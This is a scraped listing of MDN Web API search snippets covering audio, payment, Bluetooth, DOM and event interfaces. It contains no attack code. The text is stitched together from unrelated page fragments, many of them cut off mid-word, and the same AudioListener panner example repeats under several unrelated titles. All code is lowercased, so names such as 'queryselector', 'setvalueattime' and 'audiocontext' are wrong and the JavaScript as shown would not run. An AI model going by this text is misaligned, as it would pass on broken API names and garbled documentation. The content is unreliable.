...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.speedOfSound - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.upX - Web APIs
WebAPIAudioListenerupX
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.upY - Web APIs
WebAPIAudioListenerupY
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener.upZ - Web APIs
WebAPIAudioListenerupZ
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioListener - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
AudioNode.connect() - Web APIs
WebAPIAudioNodeconnect
the connect() method of the audionode interface lets you connect one of the node's outputs to a target, which may be either another audionode (thereby directing the sound data to the specified node) or an audioparam, so that the node's output data is automatically used to change the value of that parameter over time.
... an audioparam will take the rendered audio data from any audionode output connected to it and convert it to mono by down-mixing (if it is not already mono).
AudioParam.cancelAndHoldAtTime() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
AudioWorkletNode() - Web APIs
parameterdata optional an object containing the initial values of custom audioparam objects on this node (in its parameters property), with key being the name of a custom parameter and value being its initial value.
... processoroptions optional any additional data that can be used for custom initialization of the underlying audioworkletprocessor.
AudioWorkletNode.port - Web APIs
// ping-pong-processor.js class pingpongprocessor extends audioworkletprocessor { constructor (...args) { super(...args) this.port.onmessage = (e) => { console.log(e.data) this.port.postmessage('pong') } } process (inputs, outputs, parameters) { return true } } registerprocessor('ping-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph.
...t = new audiocontext() await audiocontext.audioworklet.addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination) this will output "ping" and "pong" strings to the console every second.
AudioWorkletNodeOptions - Web APIs
parameterdata optional an object containing the initial values of custom audioparam objects on this node (in its parameters property), with key being the name of a custom parameter and value being its initial value.
... processoroptions optional any additional data that can be used for custom initialization of the underlying audioworkletprocessor.
AudioWorkletProcessor() - Web APIs
parameterdata optional an object containing the initial values of custom audioparam objects on this node (in its parameters property), with key being the name of a custom parameter and value being its initial value.
... processoroptions optional any additional data that can be used for custom initialization of the underlying audioworkletprocessor.
AudioWorkletProcessor.port - Web APIs
// ping-pong-processor.js class pingpongprocessor extends audioworkletprocessor { constructor (...args) { super(...args) this.port.onmessage = (e) => { console.log(e.data) this.port.postmessage('pong') } } process (inputs, outputs, parameters) { return true } } registerprocessor('ping-pong-processor', pingpongprocessor) now in our main scripts file we'll load the processor, create an instance of audioworkletnode passing the name of the processor, and connect the node to an audio graph.
...t = new audiocontext() await audiocontext.audioworklet.addmodule('ping-pong-processor.js') const pingpongnode = new audioworkletnode(audiocontext, 'ping-pong-processor') // send the message containing 'ping' string // to the audioworkletprocessor from the audioworkletnode every second setinterval(() => pingpongnode.port.postmessage('ping'), 1000) pingpongnode.port.onmessage = (e) => console.log(e.data) pingpongnode.connect(audiocontext.destination) this will output "ping" and "pong" strings to the console every second.
AudioWorkletProcessor.process - Web APIs
important: currently, audio data blocks are always 128 frames long—that is, they contain 128 32-bit floating-point samples for each of the inputs' channels.
... returning true forces the web audio api to keep the node alive, while returning false allows the browser to terminate the node if it is neither generating new audio data nor receiving data through its inputs that it is processing.
BaseAudioContext.createConstantSource() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BaseAudioContext.createPanner() - Web APIs
urrenttime); listener.upx.setvalueattime(0, audioctx.currenttime); listener.upy.setvalueattime(1, audioctx.currenttime); listener.upz.setvalueattime(0, audioctx.currenttime); } else { listener.setorientation(0,0,-1,0,1,0); } var source; var play = document.queryselector('.play'); var stop = document.queryselector('.stop'); var boombox = document.queryselector('.boom-box'); var listenerdata = document.queryselector('.listener-data'); var pannerdata = document.queryselector('.panner-data'); leftbound = (-xpos) + 50; rightbound = xpos - 50; xiterator = width/150; // listener will always be in the same place for this demo if(listener.positionx) { listener.positionx.setvalueattime(xpos, audioctx.currenttime); listener.positiony.setvalueattime(ypos, audioctx.currenttime); liste...
...ner.positionz.setvalueattime(300, audioctx.currenttime); } else { listener.setposition(xpos,ypos,300); } listenerdata.innerhtml = 'listener data: x ' + xpos + ' y ' + ypos + ' z ' + 300; // panner will move as the boombox graphic moves around on the screen function positionpanner() { if(panner.positionx) { panner.positionx.setvalueattime(xpos, audioctx.currenttime); panner.positiony.setvalueattime(ypos, audioctx.currenttime); panner.positionz.setvalueattime(zpos, audioctx.currenttime); } else { panner.setposition(xpos,ypos,zpos); } pannerdata.innerhtml = 'panner data: x ' + xpos + ' y ' + ypos + ' z ' + zpos; } note: in terms of working out what position values to apply to the listener and panner, to make the sound appropriate to what the visuals are doing on scre...
BasicCardRequest.supportedTypes - Web APIs
legal values are defined in basiccardtype enum, and are currently: credit debit prepaid example the following example shows a sample definition of the first parameter of the paymentrequest() constructor, the data property of which contains supportednetworks and supportedtypes properties.
... var supportedinstruments = [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard', 'amex', 'jcb', 'diners', 'discover', 'mir', 'unionpay'], supportedtypes: ['credit', 'debit'] } }]; var details = { ...
BasicCardResponse.billingAddress - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.cardNumber - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.cardSecurityCode - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.cardholderName - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.expiryMonth - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BasicCardResponse.expiryYear - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BiquadFilterNode() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Blob.text() - Web APIs
WebAPIBlobtext
returns a promise that resolves with a usvstring which contains the blob's data as a text string.
... the data is always presumed to be in utf-8 format.
BlobEvent.BlobEvent() - Web APIs
syntax blobevent = new blobevent({data: aspecificblob}[, timecode]); arguments the blobevent() constructor also inherits arguments from event().
... data is a blob associated with the event.
BlobEvent - Web APIs
WebAPIBlobEvent
blobevent.data read only a blob representing the data associated with the event.
... blobevent.timecode read only a domhighrestimestamp indicating the difference between the timestamp of the first chunk in data and the timestamp of the first chunk in the first blobevent produced by this recorder.
rssi - Web APIs
the rssi read-only property of the bluetoothadvertisingdata interface returns the power at which the device’s packets are being received, measured in dbm.
... syntax var rssi = bluetoothadvertisingdata.rssi; ...
txPower - Web APIs
the txpower read-only property of the bluetoothadvertisingdata interface returns the transmission power at which the device is broadcasting, measured in dbm.
... syntax var power = bluetoothadvertisingdata.txpower; ...
BluetoothCharacteristicProperties - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
characteristic - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
readValue() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
uuid - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
value - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
writeValue() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BluetoothRemoteGATTDescriptor - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Body - Web APIs
WebAPIBody
body.formdata() takes a response stream and reads it to completion.
... it returns a promise that resolves with a formdata object.
BroadcastChannel: message event - Web APIs
; }) receiver 1 <h1>receiver 1</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.data; }); receiver 2 <h1>receiver 2</h1> <div id="received"></div> body { border: 1px solid black; padding: .5rem; height: 100px; font-family: "fira sans", sans-serif; } h1 { font: 1.6em "fira sans", sans-serif; margin-bottom: 1rem; } const channel = new broadcastchannel('example-channel'); channel.addeventlistener('message', (event) => { received.textcontent = event.
...data; }); result specifications specification status html living standard living standard ...
BudgetService.getBudget() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetService.getCost() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetService.reserve() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetService - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetState.budgetAt - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetState.time - Web APIs
WebAPIBudgetStatetime
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
BudgetState - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
ByteLengthQueuingStrategy - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
CSSStyleRule.selectorText - Web APIs
working draft browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Compositing example - Web APIs
function createcanvas() { var canvas = document.createelement("canvas"); canvas.style.background = "url("+op_8x8.data+")"; canvas.style.border = "1px solid #000"; canvas.style.margin = "5px"; canvas.width = width/2; canvas.height = height/2; return canvas; } function runcomposite() { var dl = document.createelement("dl"); document.body.appendchild(dl); while(gco.length) { var pop = gco.pop(); var dt = document.createelement("dt"); dt.textcontent = pop; ...
...tyle = color1; // top-left proto.fillrect(0, 0, size, size); proto.fillstyle = color2; // top-right proto.fillrect(size, 0, size, size); proto.fillstyle = color2; // bottom-left proto.fillrect(0, size, size, size); proto.fillstyle = color1; // bottom-right proto.fillrect(size, size, size, size); var pattern = proto.createpattern(proto.canvas, "repeat"); pattern.data = proto.canvas.todataurl(); return pattern; }; var op_8x8 = createinterlace(8, "#fff", "#eee"); ...
ChildNode - Web APIs
WebAPIChildNode
it's implemented by element, documenttype, and characterdata objects.
...the characterdata and documenttype implemented the new interfaces.
Client.type - Web APIs
WebAPIClienttype
a document) function sendmessage(message) { return new promise(function(resolve, reject) { // note that this is the serviceworker.postmessage version navigator.serviceworker.controller.postmessage(message); window.serviceworker.onmessage = function(e) { resolve(e.data); }; }); } // controlling service worker self.addeventlistener("message", function(e) { // e.source is a client object e.source.postmessage("hello!
... your message was: " + e.data); // let's also post the type value back to the client e.source.postmessage(e.source.type); }); specifications specification status comment service workersthe definition of 'type' in that specification.
Clipboard.readText() - Web APIs
the "clipboard-read" permission of the permissions api must be granted before you can read data from the clipboard.
...returns an empty string if the clipboard is empty, does not contain text, or does not include a textual representation among the datatransfer objects representing the clipboard's contents.
CompositionEvent.initCompositionEvent() - Web APIs
syntax compositioneventinstance.initcompositionevent(typearg, canbubblearg, cancelablearg, viewarg, dataarg, localearg) parameters typearg a domstring representing the type of composition event; this will be one of compositionstart, compositionupdate, or compositionend.
... dataarg a domstring representing the value of the data attribute.
console - Web APIs
WebAPIConsole
console.table() displays tabular data as a table.
... examples outputting text to the console the most frequently-used feature of the console is logging of text and other data.
ContentIndex.getAll() - Web APIs
contentdescription each item returned is an object containing the following data: id: a unique string identifier.
... homepage article video audio icons: optional an array of image resources, defined as an object with the following data: src: a url string of the source image.
ContentIndexEvent() - Web APIs
eventinitdict optional an options object containing any initialization data you want to populate the contentindexevent object with.
... var removedata = { id : 'unique-content-id' } var cievent = new contentindexevent('contentdelete', removedata); cievent.id; // should return 'unique-content-id' specifications specification status comment unknownthe definition of 'contentindexevent' in that specification.
Content Index API - Web APIs
the content index api is an extension to service workers, which allows developers to add urls and metadata of already cached pages, under the scope of the current service worker.
...// our content const item = { id: 'post-1', url: '/posts/amet.html', title: 'amet consectetur adipisicing', description: 'repellat et quia iste possimus ducimus aliquid a aut eaque nostrum.', icons: [{ src: '/media/dark.png', sizes: '128x128', type: 'image/png', }], category: 'article' }; // our asynchronous function to add indexed content async function registercontent(data) { const registration = await navigator.serviceworker.ready; // feature detect content index if (!registration.index) { return; } // register content try { await registration.index.add(data); } catch (e) { console.log('failed to register content: ', e.message); } } retrieving items within the current index the below example shows an asynchronous function that retrieves ...
ConvolverNode() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
CountQueuingStrategy - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
CustomEvent.detail - Web APIs
the detail readonly property of the customevent interface returns any data passed when initializing the event.
... syntax let mydetail = customeventinstance.detail; return value whatever data the event was initialized with.
DOMException() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMException.code - Web APIs
WebAPIDOMExceptioncode
candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMException.message - Web APIs
candidate recommendation browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMHighResTimeStamp - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMRectReadOnly.fromRect() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DOMTokenList.forEach() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DedicatedWorkerGlobalScope: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples this code creates a new worker and sends it a message using worker.postmessage(): const worker = new worker("static/scripts/worker.js"); worker.addeventlistener('message', (event) => { console.log(`received message from worker: ${event.data}`) }); the worker can listen for this message using addeventlistener(): // inside static/scripts/worker.js self.addeventlistener('message', (event) => { console.log(`received message from parent: ${event.data}`); }); alternatively, it could listen using the onmessage event handler property: // static/scripts/worker.js self.onmessage = (event) => { console.log(`received message fro...
...m parent: ${event.data}`); }; specifications specification status html living standard living standard ...
DedicatedWorkerGlobalScope - Web APIs
for example: importscripts('foo.js', 'bar.js'); implemented from other places windowbase64.atob() decodes a string of data which has been encoded using base-64 encoding.
... windowbase64.btoa() creates a base-64 encoded ascii string from a string of binary data.
DisplayMediaStreamConstraints - Web APIs
processing information is specified using mediatrackconstraints objects providing options which are applied to the track after the media data is received but before it is made available on the mediastream.
...optionally, a mediatrackconstraints object may be given, providing options specifying processing to be performed on the video data before adding it to the stream.
Document.createTextNode() - Web APIs
syntax var text = document.createtextnode(data); text is a text node.
... data is a string containing the data to be put in the text node.
Document.evaluate() - Web APIs
WebAPIDocumentevaluate
recommendation initial specification browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Document.fonts - Web APIs
WebAPIDocumentfonts
working draft initial definition browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Document.forms - Web APIs
WebAPIDocumentforms
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Document: visibilitychange event - Web APIs
recommendation browser compatibility no compatibility data found.
... please contribute data for "api.document.visibilitychange" (depth: 1) to the mdn compatibility data repository.
DocumentFragment.querySelector() - Web APIs
browser compatibility the compatibility table in this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
DocumentOrShadowRoot.getSelection() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Example - Web APIs
<html> <head> <title>my document</title> <script type="text/javascript"> function change() { // document.getelementsbytagname("h1") returns a nodelist of the h1 // elements in the document, and the first is number 0: var header = document.getelementsbytagname("h1").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document".
... var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "this is the first paragraph."; // create a new text node for the second paragraph var newtext = document.createtextnode("this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document by appending it to // the body (which is the parent of para) para.parentnode.appendchild(newelement); } </script> </head> <body> <input type="button" value="change this document." onclick="change()"> <h1>header</h1> <p>paragraph</p> </body> </head> ...
Using the W3C DOM Level 1 Core - Web APIs
"change this document." onclick="change()"> <h2>header</h2> <p>paragraph</p> </body> javascript content function change() { // document.getelementsbytagname("h2") returns a nodelist of the <h2> // elements in the document, and the first is number 0: var header = document.getelementsbytagname("h2").item(0); // the firstchild of the header is a text node: header.firstchild.data = "a dynamic document"; // now the header is "a dynamic document".
... var para = document.getelementsbytagname("p").item(0); para.firstchild.data = "this is the first paragraph."; // create a new text node for the second paragraph var newtext = document.createtextnode("this is the second paragraph."); // create a new element to be the second paragraph var newelement = document.createelement("p"); // put the text in the paragraph newelement.appendchild(newtext); // and put the paragraph on the end of the document by appending it to // the body (which is the parent of para) para.parentnode.appendchild(newelement); } you can see this script as a complete example.
DragEvent - Web APIs
WebAPIDragEvent
properties dragevent.datatransfer read only the data that is transferred during a drag and drop interaction.
... constructors although this interface has a constructor, it is not possible to create a useful datatransfer object from script, since datatransfer objects have a processing and security model that is coordinated by the browser during drag-and-drops.
DynamicsCompressorNode() - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element: compositionend event - Web APIs
bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionend', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log...
...g: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element: compositionstart event - Web APIs
bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionstart', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log...
...g: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element: compositionupdate event - Web APIs
bubbles yes cancelable yes interface compositionevent event handler property none examples const inputelement = document.queryselector('input[type="text"]'); inputelement.addeventlistener('compositionupdate', (event) => { console.log(`generated characters were: ${event.data}`); }); live example html <div class="control"> <label for="name">on macos, click in the textbox below,<br> then type <kbd>option</kbd> + <kbd>`</kbd>, then <kbd>a</kbd>:</label> <input type="text" id="example" name="example"> </div> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents" rows="8" cols="25"></textarea> <button class="clear-log...
...g: 1px 2px 0; border: 1px solid black; } js const inputelement = document.queryselector('input[type="text"]'); const log = document.queryselector('.event-log-contents'); const clearlog = document.queryselector('.clear-log'); clearlog.addeventlistener('click', () => { log.textcontent = ''; }); function handleevent(event) { log.textcontent = log.textcontent + `${event.type}: ${event.data}\n`; } inputelement.addeventlistener('compositionstart', handleevent); inputelement.addeventlistener('compositionupdate', handleevent); inputelement.addeventlistener('compositionend', handleevent); result specifications specification status ui events working draft ...
Element.currentStyle - Web APIs
browser compatibility the compatibility table on this page is generated from structured data.
... if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request.
Element.querySelectorAll() - Web APIs
